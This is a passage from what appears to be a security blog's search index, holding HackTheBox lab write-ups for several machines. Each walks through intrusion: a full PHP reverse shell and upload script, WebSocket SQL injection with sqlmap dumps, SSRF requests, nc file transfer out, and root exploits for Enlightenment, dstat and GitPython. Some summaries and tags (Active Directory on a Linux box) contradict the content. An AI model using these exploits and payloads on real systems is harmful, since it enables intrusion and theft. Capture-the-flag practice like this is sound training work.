\u0026#34;Cookie: $cookie\u0026#34; -F \u0026#34;file=@$local_shell\u0026#34; -F \u0026#34;fullpath=$shell\u0026#34; \u0026#34;$URL/tiny/?p=$webpath\u0026#34;) if echo \u0026#34;$upload\u0026#34; | grep -q \u0026#34;successful\u0026#34;; then echo \u0026#34;[+] File upload successful\u0026#34; echo \u0026#34;[+] Shell located at $webroot/$shell\u0026#34; else echo \u0026#34;[-] Upload failed\u0026#34; fi curl -s \u0026#34;$URL/$webpath/$shell\u0026#34; Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:\npython3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Press Ctrl+Z to background the shell, then run:\nstty size; stty raw -echo; fg As the last step, set the terminal environment:\nexport TERM=xterm; Inspecting NGINX Configuration After obtaining the reverse shell, check the NGINX configuration:\nls /etc/nginx/sites-enabled/ cat /etc/nginx/sites-enabled/soc-player.soccer.htb The configuration reveals:\nserver { listen 80; server_name soc-player.soccer.htb; root /root/app/views; location / { proxy_pass http://localhost:3000; } } This indicates that soc-player.soccer.htb is forwarded to a service running on port 3000.\nBlind SQL Injection via WebSocket First, register an account and log in at http://soc-player.soccer.htb/check. After logging in, enter the following payloads in the input field to test for SQL injection:\n710191 or 1=1-- - 710191\u0026#39; or 1=1-- - You will see that the application is vulnerable to SQL injection.\nDuring analysis, I discovered that soc-player.soccer.htb uses a WebSocket for communication. Using Firefox\u0026rsquo;s developer tools, I identified the WebSocket endpoint and captured the payload being sent in the network requests.\nThe WebSocket endpoint is:\nws://soc-player.soccer.htb:9091/ You can exploit this WebSocket service with a blind SQL injection payload:\n{\u0026#34;id\u0026#34;:\u0026#34;710191 or 1=1-- -\u0026#34;} This confirms that the service is vulnerable to SQL injection via the WebSocket, and you can proceed with tools like SQLMap or manual exploitation.\nTo further test the SQL injection vulnerability, use the following command to connect to the WebSocket service:\nwscat --connect \u0026#39;ws://soc-player.soccer.htb:9091/\u0026#39; Send the SQL injection payload via WebSocket:\n{\u0026#34;id\u0026#34;:\u0026#34;710191 or 1=1-- -\u0026#34;} You should see the response:\n\u0026lt; Ticket Exists Using SQLMap for SQL Injection Exploitation Once confirmed, use sqlmap to automate database extraction:\nDiscover tables and sqli:\nsqlmap -u \u0026#39;ws://soc-player.soccer.htb:9091/\u0026#39; --data \u0026#39;{\u0026#34;id\u0026#34;:\u0026#34;*\u0026#34;}\u0026#39; --technique=B --risk 3 --level 5 --batch --threads 10 sqlmap -u \u0026#39;ws://soc-player.soccer.htb:9091/\u0026#39; --data \u0026#39;{\u0026#34;id\u0026#34;:\u0026#34;*\u0026#34;}\u0026#39; --technique=B --risk 3 --level 5 --batch --threads 10 --dbs Get Items:\nsqlmap -u \u0026#39;ws://soc-player.soccer.htb:9091/\u0026#39; --data \u0026#39;{\u0026#34;id\u0026#34;:\u0026#34;*\u0026#34;}\u0026#39; --technique=B --risk 3 --level 5 --batch --threads 10 -D soccer_db --dump SSH Access After dumping the database, use the credentials to SSH into the server:\nssh player@soccer.htb cat user.txt Privilege Escalation with doas doas is setuid in /usr/local/bin/doas, as discovered using the following command:\nfind / -type f -perm -u=s -ls 2\u0026gt;/dev/null Inspecting the doas configuration file using:\ncat /usr/local/etc/doas.conf reveals that dstat can be executed as root via doas without requiring a password. Additionally, we can both read and write in the /usr/local/share/dstat directory, found with:\nfind / -group $USER 2\u0026gt;/dev/null | grep -v \u0026#39;^/proc\\|^/run\\|^/sys\u0026#39; The method to escalate privileges by exploiting dstat is detailed on GTFOBins for dstat. To exploit this and gain a root shell, follow these steps:\ncd /usr/local/share/dstat echo \u0026#39;import os; os.execv(\u0026#34;/bin/sh\u0026#34;, [\u0026#34;sh\u0026#34;])\u0026#39; \u0026gt; dstat_xxx.py doas /usr/bin/dstat --xxx After running this, you\u0026rsquo;ll have a root shell:\ncat /root/root.txt Summary Soccer: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.\n","date":"2024-09-25T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Soccer/","protected":null,"snippet":"Soccer: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.","tags":["htb","windows","linux","active-directory","kerberos","cve-2021-45010"],"title":"HackTheBox Soccer Writeup"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.11.25 greenhorn.htb Script to add hosts automatically ip=\u0026#34;10.10.11.25\u0026#34; domain=\u0026#34;greenhorn.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV greenhorn.htb\nStarting Nmap 7.95 ( https://nmap.org ) at 2024-09-23 20:44 CEST Nmap scan report for greenhorn.htb (10.10.11.25) Host is up (0.054s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA) |_ 256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) | http-robots.txt: 2 disallowed entries |_/data/ /docs/ |_http-generator: pluck 4.7.18 |_http-server-header: nginx/1.18.0 (Ubuntu) | http-title: Welcome to GreenHorn ! - GreenHorn |_Requested resource was http://greenhorn.htb/?file=welcome-to-greenhorn | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-trane-info: Problem with XML parsing of /evox/about 3000/tcp open http Golang net/http server |_http-title: GreenHorn | fingerprint-strings: | GenericLines, Help, RTSPRequest: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 200 OK | Cache-Control: max-age=0, private, must-revalidate, no-transform | Content-Type: text/html; charset=utf-8 | Set-Cookie: i_like_gitea=4f825f00413b3738; Path=/; HttpOnly; SameSite=Lax | Set-Cookie: _csrf=PO06CAlfgCMxfL3ecdHhxioegxc6MTcyNzExNzA1NDMyNTc3NTM5NA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax | X-Frame-Options: SAMEORIGIN | Date: Mon, 23 Sep 2024 18:44:14 GMT | \u0026lt;!DOCTYPE html\u0026gt; | \u0026lt;html lang=\u0026#34;en-US\u0026#34; class=\u0026#34;theme-auto\u0026#34;\u0026gt; | \u0026lt;head\u0026gt; | \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1\u0026#34;\u0026gt; | \u0026lt;title\u0026gt;GreenHorn\u0026lt;/title\u0026gt; | \u0026lt;link rel=\u0026#34;manifest\u0026#34; href=\u0026#34;data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX | HTTPOptions: | HTTP/1.0 405 Method Not Allowed | Allow: HEAD | Allow: GET | Cache-Control: max-age=0, private, must-revalidate, no-transform | Set-Cookie: i_like_gitea=1e951e005f14b654; Path=/; HttpOnly; SameSite=Lax | Set-Cookie: _csrf=D4RMh2kVbGeAvsZIUuEbR60hd8M6MTcyNzExNzA1NDY1NjcwNjk5OQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax | X-Frame-Options: SAMEORIGIN | Date: Mon, 23 Sep 2024 18:44:14 GMT |_ Content-Length: 0 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port3000-TCP:V=7.95%I=7%D=9/23%Time=66F1B6FE%P=x86_64-pc-linux-gnu%r(Ge SF:nericLines,67,\u0026#34;HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-Type:\\x20t SF:ext/plain;\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x20Bad\\x SF:20Request\u0026#34;)%r(GetRequest,2A60,\u0026#34;HTTP/1\\.0\\x20200\\x20OK\\r\\nCache-Control: SF:\\x20max-age=0,\\x20private,\\x20must-revalidate,\\x20no-transform\\r\\nConte SF:nt-Type:\\x20text/html;\\x20charset=utf-8\\r\\nSet-Cookie:\\x20i_like_gitea= SF:4f825f00413b3738;\\x20Path=/;\\x20HttpOnly;\\x20SameSite=Lax\\r\\nSet-Cookie SF::\\x20_csrf=PO06CAlfgCMxfL3ecdHhxioegxc6MTcyNzExNzA1NDMyNTc3NTM5NA;\\x20P SF:ath=/;\\x20Max-Age=86400;\\x20HttpOnly;\\x20SameSite=Lax\\r\\nX-Frame-Option SF:s:\\x20SAMEORIGIN\\r\\nDate:\\x20Mon,\\x2023\\x20Sep\\x202024\\x2018:44:14\\x20G SF:MT\\r\\n\\r\\n\u0026lt;!DOCTYPE\\x20html\u0026gt;\\n\u0026lt;html\\x20lang=\\\u0026#34;en-US\\\u0026#34;\\x20class=\\\u0026#34;theme- SF:auto\\\u0026#34;\u0026gt;\\n\u0026lt;head\u0026gt;\\n\\t\u0026lt;meta\\x20name=\\\u0026#34;viewport\\\u0026#34;\\x20content=\\\u0026#34;width=device SF:-width,\\x20initial-scale=1\\\u0026#34;\u0026gt;\\n\\t\u0026lt;title\u0026gt;GreenHorn\u0026lt;/title\u0026gt;\\n\\t\u0026lt;link\\x20r SF:el=\\\u0026#34;manifest\\\u0026#34;\\x20href=\\\u0026#34;data:application/json;base64,eyJuYW1lIjoiR3Jl SF:ZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9 SF:ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm SF:4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJza SF:XplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX\u0026#34;) SF:%r(Help,67,\u0026#34;HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nContent-Type:\\x20text SF:/plain;\\x20charset=utf-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x20Bad\\x20R SF:equest\u0026#34;)%r(HTTPOptions,197,\u0026#34;HTTP/1\\.0\\x20405\\x20Method\\x20Not\\x20Allowe SF:d\\r\\nAllow:\\x20HEAD\\r\\nAllow:\\x20GET\\r\\nCache-Control:\\x20max-age=0,\\x2 SF:0private,\\x20must-revalidate,\\x20no-transform\\r\\nSet-Cookie:\\x20i_like_ SF:gitea=1e951e005f14b654;\\x20Path=/;\\x20HttpOnly;\\x20SameSite=Lax\\r\\nSet- SF:Cookie:\\x20_csrf=D4RMh2kVbGeAvsZIUuEbR60hd8M6MTcyNzExNzA1NDY1NjcwNjk5OQ SF:;\\x20Path=/;\\x20Max-Age=86400;\\x20HttpOnly;\\x20SameSite=Lax\\r\\nX-Frame- SF:Options:\\x20SAMEORIGIN\\r\\nDate:\\x20Mon,\\x2023\\x20Sep\\x202024\\x2018:44:1 SF:4\\x20GMT\\r\\nContent-Length:\\x200\\r\\n\\r\\n\u0026#34;)%r(RTSPRequest,67,\u0026#34;HTTP/1\\.1\\ SF:x20400\\x20Bad\\x20Request\\r\\nContent-Type:\\x20text/plain;\\x20charset=utf SF:-8\\r\\nConnection:\\x20close\\r\\n\\r\\n400\\x20Bad\\x20Request\u0026#34;); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Obtaining the Password Explore the site’s source code:\nAccess the Gitea repo at http://greenhorn.htb:3000/GreenAdmin/GreenHorn. Navigate to the password hash at http://greenhorn.htb:3000/GreenAdmin/GreenHorn/src/branch/main/data/settings/pass.php. Brute Force the Hash Use a hash cracking tool like hashcat or John the Ripper to perform a brute force attack on the password hash, or use a service such as crackstation for this purpose.\necho -n \u0026#34;Password Hash? --\u0026gt;\u0026#34; ; read hash echo \u0026#34;$hash\u0026#34; \u0026gt; /tmp/hash.txt hashcat -m 1700 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt hashcat -m 1700 /tmp/hash.txt --show rm -rf /tmp/hash.txt Exploiting CVE-2023-50564 PHP Reverse Shell Payload:\nReplace \u0026lt;vpn-ip\u0026gt; with your actual VPN IP to receive the connection.\n\u0026lt;?php set_time_limit (0); $VERSION = \u0026#34;1.0\u0026#34;; $ip = \u0026#39;\u0026lt;vpn-ip\u0026gt;\u0026#39;; $port = 9001; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = \u0026#39;uname -a; w; id; /bin/sh -i\u0026#39;; $daemon = 0; $debug = 0; if (function_exists(\u0026#39;pcntl_fork\u0026#39;)) { $pid = pcntl_fork(); if ($pid == -1) { printit(\u0026#34;ERROR: Can\u0026#39;t fork\u0026#34;); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit(\u0026#34;Error: Can\u0026#39;t setsid()\u0026#34;); exit(1); } $daemon = 1; } else { printit(\u0026#34;WARNING: Failed to daemonise. This is quite common and not fatal.\u0026#34;); } chdir(\u0026#34;/\u0026#34;); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit(\u0026#34;$errstr ($errno)\u0026#34;); exit(1); } $descriptorspec = array( 0 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;r\u0026#34;), 1 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;w\u0026#34;), 2 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;w\u0026#34;) ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit(\u0026#34;ERROR: Can\u0026#39;t spawn shell\u0026#34;); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit(\u0026#34;Successfully opened reverse shell to $ip:$port\u0026#34;); while (1) { if (feof($sock)) { printit(\u0026#34;ERROR: Shell connection terminated\u0026#34;); break; } if (feof($pipes[1])) { printit(\u0026#34;ERROR: Shell process terminated\u0026#34;); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit(\u0026#34;SOCK READ\u0026#34;); $input = fread($sock, $chunk_size); if ($debug) printit(\u0026#34;SOCK: $input\u0026#34;); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit(\u0026#34;STDOUT READ\u0026#34;); $input = fread($pipes[1], $chunk_size); if ($debug) printit(\u0026#34;STDOUT: $input\u0026#34;); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit(\u0026#34;STDERR READ\u0026#34;); $input = fread($pipes[2], $chunk_size); if ($debug) printit(\u0026#34;STDERR: $input\u0026#34;); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print \u0026#34;$string\\n\u0026#34;; } } ?\u0026gt; Compress the shell script:\nReplace the IP with your VPN IP in the shell payload. Zip the shell.php: zip payload.zip shell.php Start the listener on your machine:\nnc -lvnp 9001 Upload the ZIP via the admin panel using this Python script:\n#!/bin/python import requests from requests_toolbelt.multipart.encoder import MultipartEncoder login_url = \u0026#34;http://greenhorn.htb/login.php\u0026#34; upload_url = \u0026#34;http://greenhorn.htb/admin.php?action=installmodule\u0026#34; headers = {\u0026#34;Referer\u0026#34;: login_url,} login_payload = {\u0026#34;cont1\u0026#34;: \u0026#34;iloveyou1\u0026#34;,\u0026#34;bogus\u0026#34;: \u0026#34;\u0026#34;,\u0026#34;submit\u0026#34;: \u0026#34;Log in\u0026#34;} file_path = \u0026#34;payload.zip\u0026#34; multipart_data = MultipartEncoder( fields={ \u0026#34;sendfile\u0026#34;: (\u0026#34;payload.zip\u0026#34;, open(file_path, \u0026#34;rb\u0026#34;), \u0026#34;application/zip\u0026#34;), \u0026#34;submit\u0026#34;: \u0026#34;Upload\u0026#34; } ) session = requests.Session() login_response = session.post(login_url, headers=headers, data=login_payload) if login_response.status_code == 200: print(\u0026#34;Login account\u0026#34;) upload_headers = { \u0026#34;Referer\u0026#34;: upload_url, \u0026#34;Content-Type\u0026#34;: multipart_data.content_type } upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data) if upload_response.status_code == 200: print(\u0026#34;ZIP file download.\u0026#34;) else: print(\u0026#34;ZIP file download error. Response code:\u0026#34;, upload_response.status_code) else: print(\u0026#34;Login problem. response code:\u0026#34;, login_response.status_code) rce_url=\u0026#34;http://greenhorn.htb/data/modules/payload/shell.php\u0026#34; rce=requests.get(rce_url) print(rce.text) Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:\npython3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Press Ctrl+Z to background the shell, then run:\nstty size; stty raw -echo; fg As the last step, set the terminal environment:\nexport TERM=xterm; Getting User Privileges Once inside the shell, switch to the junior user:\nsu junior cd /home/junior cat user.txt Transferring File Using OpenVAS.pdf Start a listener on your local machine to receive the file:\nnc -lvp 1234 \u0026gt; \u0026#34;Using OpenVAS.pdf\u0026#34; Send the file from the remote machine:\nnc \u0026lt;vpn-ip\u0026gt; 1234 \u0026lt; \u0026#39;Using OpenVAS.pdf\u0026#39; Recovering a Pixelated Password Use Depix to Recover the Text:\nrun Depix to attempt recovering the password from the pixelated text. pdfimages \u0026#39;Using OpenVAS.pdf\u0026#39; reference imgpath=$(realpath reference-000.ppm) depix -p $imgpath -s images/searchimages/debruinseq_notepad_Windows10_close.png -o $(realpath pswoutput.png) rm -rf reference-000.ppm Open the resulting image using an image viewer:\nfeh pswoutput.png SSH Access With the recovered password, log in via SSH:\nssh root@greenhorn.htb cat /root/root.txt Summary GreenHorn: use CVE-2023-50564 where it fits the service, gain a shell, and escalate to root.\n","date":"2024-09-23T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-GreenHorn/","protected":null,"snippet":"GreenHorn: use CVE-2023-50564 where it fits the service, gain a shell, and escalate to root.","tags":["htb","linux","cve-2023-50564"],"title":"HackTheBox GreenHorn  Writeup"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.11.11 board.htb crm.board.htb Script to add hosts automatically ip=\u0026#34;10.10.11.11\u0026#34; domain=\u0026#34;board.htb crm.board.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV boardlight.htb\nStarting Nmap 7.95 ( https://nmap.org ) at 2024-09-22 18:16 CEST Nmap scan report for board.htb (10.10.11.11) Host is up (0.051s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA) | 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA) |_ 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Site doesn\u0026#39;t have a title (text/html; charset=UTF-8). |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Enumeration While exploring the application at http://board.htb/contact.php, the footer reveals info@board.htb\nThis suggests the existence of the board.htb domain.\nTo enumerate subdomains, use ffuf with the following command:\nffuf -u http://FUZZ.board.htb -c -w /usr/share/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt Discovered Subdomains: crm.permx.htb: [Status: 200, Size: 6360, Words: 397, Lines: 150] Accessing the CRM subdomain at http://crm.board.htb, you find a Dolibarr 17.0.0 instance.\nTesting default credentials admin:admin is found\nExploitation of Dolibarr (CVE-2023-30253) Using the CVE-2023-30253 exploit, which affects Dolibarr 17.0.0, you can gain access.\nnc -lvnp 9001 git clone https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253 mv Exploit-for-Dolibarr-17.0.0-CVE-2023-30253 CVE-2023-30253 cd CVE-2023-30253 vpnip=$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;) python3 exploit.py http://crm.board.htb admin admin $vpnip 9001 rm -rf CVE-2023-30253 Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:\npython3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Press Ctrl+Z to background the shell, then run:\nstty size; stty raw -echo; fg As the last step, set the terminal environment:\nexport TERM=xterm; Database Credentials Next, check for database credentials by inspecting the configuration file:\ncat /var/www/html/crm.board.htb/htdocs/conf/conf.php | grep \u0026#39;db_\u0026#39; SSH Access With the found database password, log in as the user larissa:\nssh larissa@board.htb Privilege Escalation (CVE-2022-37706) During post-exploitation, LinPEAS identifies Enlightenment as a suid binary.\nfinding enlightenment suid exploit i found CVE-2022-37706\nTo exploit this, run the following script:\necho \u0026#34;CVE-2022-37706\u0026#34; echo \u0026#34;[*] Trying to find the vulnerable SUID file...\u0026#34; echo \u0026#34;[*] This may take a few seconds...\u0026#34; file=$(find / -name enlightenment_sys -perm -4000 2\u0026gt;/dev/null | head -1) if [[ -z ${file} ]]; then echo \u0026#34;[-] Couldn\u0026#39;t find the vulnerable SUID file...\u0026#34; echo \u0026#34;[*] Enlightenment should be installed on your system.\u0026#34; exit 1 fi echo \u0026#34;[+] Vulnerable SUID binary found!\u0026#34; echo \u0026#34;[+] Trying to pop a root shell!\u0026#34; mkdir -p /tmp/net mkdir -p \u0026#34;/dev/../tmp/;/tmp/exploit\u0026#34; echo \u0026#34;/bin/sh\u0026#34; \u0026gt; /tmp/exploit chmod a+x /tmp/exploit echo \u0026#34;[+] Enjoy the root shell :)\u0026#34; ${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), \u0026#34;/dev/../tmp/;/tmp/exploit\u0026#34; /tmp///net Root Access Once the privilege escalation exploit is successful, access the root flag:\ncat /root/root.txt Summary BoardLight: use CVE-2022-37706 and CVE-2023-30253 where it fits the service, gain a shell, and escalate to root.\n","date":"2024-09-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-BoardLight/","protected":null,"snippet":"BoardLight: use CVE-2022-37706 and CVE-2023-30253 where it fits the service, gain a shell, and escalate to root.","tags":["htb","linux","cve-2022-37706","cve-2023-30253"],"title":"HackTheBox BoardLight Writeup"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.11.20 editorial.htb Script to add hosts automatically ip=\u0026#34;10.10.11.20\u0026#34; domain=\u0026#34;editorial.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV editorial.htb\nStarting Nmap 7.95 ( https://nmap.org ) at 2024-09-22 21:06 CEST Nmap scan report for tiempoarriba.htb (10.10.11.20) Host is up (0.11s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA) |_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Editorial Tiempo Arriba Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Exploiting Port 5000 on editorial.htb First, intercept the request to upload a file using Burp Suite by navigating to http://editorial.htb/upload.\nBrute Force Port 5000 Port 5000 was identified using Burp Suite\u0026rsquo;s repeater. By sending crafted requests, you can attempt to brute force internal endpoints on port 5000. In the request, use http://127.0.0.1:5000/ as the bookurl. You can then inspect the image preview to download any available files.\nHere’s an example request for the brute force:\nPOST /upload-cover HTTP/1.1 Host: editorial.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------345673946433514815222539054036 Content-Length: 365 Origin: http://editorial.htb DNT: 1 Sec-GPC: 1 Connection: close Referer: http://editorial.htb/upload Priority: u=0 -----------------------------345673946433514815222539054036 Content-Disposition: form-data; name=\u0026#34;bookurl\u0026#34; http://127.0.0.1:5000/ -----------------------------345673946433514815222539054036 Content-Disposition: form-data; name=\u0026#34;bookfile\u0026#34;; filename=\u0026#34;\u0026#34; Content-Type: application/octet-stream -----------------------------345673946433514815222539054036-- Fetch and Inspect Files Once you successfully brute force and discover an endpoint, you can fetch the exposed file by following the steps below:\nThe endpoint will be shown in the response to the POST /upload-cover request.\necho -n \u0026#34;Endpoint --\u0026gt;\u0026#34; read endpoint wget http://editorial.htb/static/uploads/$endpoint cat $endpoint | jq rm -rf $endpoint This will retrieve the file, which could reveal valuable information like additional API endpoints.\nExploit Another Endpoint Target endpoint http://127.0.0.1:5000/api/latest/metadata/messages/authors by following the same steps to extract sensitive information.\nSSH Access Once you gather enough information, SSH into the editorial.htb server:\nssh dev@editorial.htb cat user.txt Git Inspection Navigate to the apps directory to inspect the git history and reset to a previous commit:\ncd apps git log git reset --hard HEAD^ # Go back 1 commit git log --all -p # Show all commit diffs Extract Credentials To automatically extract credentials from git commit diffs, use the following command:\necho -e \u0026#34;$(git log --all -p | grep -Eo \u0026#34;Username:.*|Password:.*\u0026#34; | awk \u0026#39;NR==1{print; exit}\u0026#39;)\u0026#34; Privilege Escalation Switch to the prod user and check available sudo commands:\nsu prod sudo -l You will find:\nUser prod may run the following commands on editorial: (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py * Exploiting GitPython CVE Using CVE-2022–24439, exploit the command to escalate privileges and read the root flag:\nsudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py \u0026#39;ext::sh -c cat% /root/root.txt% \u0026gt;% /tmp/root\u0026#39; cat /tmp/root Getting an actual root shell\nsudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py \u0026#39;ext::sh -c chmod% 4755% /bin/bash\u0026#39; /bin/bash -p Summary Editorial: enumerate the services, turn the exposed weakness into a shell, and escalate to root.\n","date":"2024-09-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Editorial/","protected":null,"snippet":"Editorial: enumerate the services, turn the exposed weakness into a shell, and escalate to root.","tags":["htb","linux"],"title":"HackTheBox Editorial Writeup"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.11.23 permx.htb Script to add hosts automatically ip=\u0026#34;10.10.11.23\u0026#34; domain=\u0026#34;permx.htb lms.permx.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV permx.htb\nStarting Nmap 7.95 ( https://nmap.org ) at 2024-09-22 16:35 CEST Nmap scan report for permx.htb (10.10.11.23) Host is up (0.053s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA) |_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-title: eLEARNING |_http-server-header: Apache/2.4.52 (Ubuntu) Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel Subdomain Enumeration with ffuf ffuf -u http://permx.htb -H \u0026#34;Host:FUZZ.permx.htb\u0026#34; -w /usr/share/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -c -fc 302 Discovered Subdomains: lms.permx.htb: [Status: 200, Size: 19347, Words: 4910, Lines: 353] Exploiting CVE-2023-4220 on Chamilo LMS Make the file rce.php\nReplace \u0026lt;vpn-ip\u0026gt; with your actual VPN IP to receive the connection.\n\u0026lt;?php set_time_limit (0); $VERSION = \u0026#34;1.0\u0026#34;; $ip = \u0026#39;\u0026lt;vpn-ip\u0026gt;\u0026#39;; $port = 9001; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = \u0026#39;uname -a; w; id; /bin/sh -i\u0026#39;; $daemon = 0; $debug = 0; if 